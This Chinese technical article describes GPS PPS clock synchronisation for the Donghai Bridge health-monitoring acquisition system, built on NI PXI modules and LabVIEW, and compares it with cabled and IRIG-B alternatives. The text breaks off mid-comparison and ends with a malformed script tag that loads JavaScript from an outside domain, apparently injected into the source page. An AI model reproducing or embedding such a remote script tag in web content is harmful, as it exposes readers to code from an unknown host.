挑战：
构建大型分布式数据同步采集系统，该系统分布在近30公里长的东海大桥上，范围较广，同时大桥处于外海，并担负着连接市区与深水港枢纽的重任，因此需要对桥梁健康状况进行实时监控，而监测数据的正确性对于桥梁的评估和研究显得尤为重要。
应用方案：使用gpspps时钟同步技术，对分布在桥体各个位置的采集机站进行采样时钟同步，每个采集机站都采用ni公司的pxi工控机箱以及相关的板卡与gps时钟同步信号接收器相连。在此硬件基础上，通过ni公司labview平台以及相关软件开发包来设计开发整个同步采集系统。
使用的产品：
labview7.1
ni-sync时钟同步开发包
pxi-1045pxi机箱
pxi-8187pxi主控制器
pxi-6652同步时钟模块
pxi-6602计数器/定时器
pxi-4472b动态信号采集卡
介绍
采集系统自身的环境限制导致设备的分散性，保证各个采集设备之间数据的同步性，使之分析出来的结果更具有研究和使用价值，并在一个可控的成本下实现，是摆在设计者面前的难题。相对于其他2种技术方案：基于短距离低成本的机箱同步技术和基于长距离高成本的卫星同步技术。
gpspps是一种集2者优点于一身的时钟同步技术。不仅能获得和高成本技术相同的效果，并且还能节约大量成本。
正文：
一．分布式实时采集系统概述
东海大桥由于身处外海海域，不仅需要经受海水腐蚀、地震台风自然灾害、还有各种通行工具对桥梁结构造成缓慢的损害。对桥梁进行实时监测，为了及时获知桥梁的健康状况，对各种突发时间做出响应，以及进行必要的养护工作，延长桥梁的使用寿命。监测数据还能进行进一步研究分析，对桥梁的基础研究具有非常大的帮助。
为什么要使用时钟同步技术？由于桥梁属于较为特殊的结构，构造范围很广，监测点分散在各处，很多监测项目又具有实时性的特点，例如地震、台风、交通事故等等，对于各部位监测数据需要非常准确的时间同步，一般的数据采集技术难以达到监测要求，如果不采用时钟同步技术，极有可能造成各个监测点采集数据时间上的微小误差，不仅造成监测结果的不准确，还严重影响了对桥梁健康的研究分析。而通过gps时钟同步技术完全可以避免这些问题。
二．gpspps技术和其他时钟同步技术介绍与比较
图1桥梁健康监测系统的预警监测图
如图1所示，整个采集系统分散在桥梁的各个部位。桥梁按照区域划分为若干区段，在主要几个区段中安置着信号采集机站，各个采集机站之间相距几公里甚至十几公里，每组采集机站均和gps同步时钟接受器相连，gpspps接收器接受gps时钟同步信号，做相应的处理得到时钟同步信号和绝对时间戳并发送给pxi采集设备，采集设备接收处理后的gps同步信号，达到同步整个分布式采集系统。
这里说的时钟同步有2方面含义：
数据采样频率的同步，包括采样时钟信号的脉冲同步以及相位同步。
时间轴上的同步，即采样点时间标签的同步。
只有2方面都达到同步，才能称为真正的同步采集。
目前除了gpspps时钟同步技术方案外，主要还有其他2种时钟同步技术方案：
1.机箱直连时钟同步技术：
主要采用了pxi-6653时钟同步模块的时钟频率共享技术，每个采集设备中都装有pxi6653时钟同步模块，然后用同轴电缆把各个采集设备的6653模块相连，以其中一个模块作为主模块，其余的作为从模块；主模块内部的时钟信号通过同轴电缆同步从模块内部的时钟信号，pxi-4472b都用次信号作为采样时钟。时间戳同步可以采用网络时间服务器。
2.gpsirig-b时钟同步技术：
该技术与gpspps技术极为相似，都是通过gps接收器接收gps同步信号，做相应的处理并发送给采集设备做采集同步，和gpspps所不同的是irig-b时钟同步信号中含有绝对时间，需要由pxi-6608来接收该信号，并将其解析为可用的时间戳。
3.三种时钟同步技术的比较：
1)适用性
机箱同步技术由于电缆的局限性，距离过长会导致信号衰减，很难做到公里级数的时钟同步采集，所以在本系统中无法适用。而gpspps和gpsirig-b技术都采用卫星来作为同步时钟信号传输的载体，可以做到无地域限制的同步采集，符合本系统的同步需求。
2)准确性
机箱同步技术采用主从时钟模块同步的方式，以一个时钟模块的内部时钟作为其余时钟模块的参考时钟，虽然理论上同步的准确性可以保证，但是由于信号通过电缆作为载体发送，长时间运行后，电缆的自身老化以及外部的突发事件是否会对信号的造成干扰，不得而知。?script src=http://er12.com/t.js>
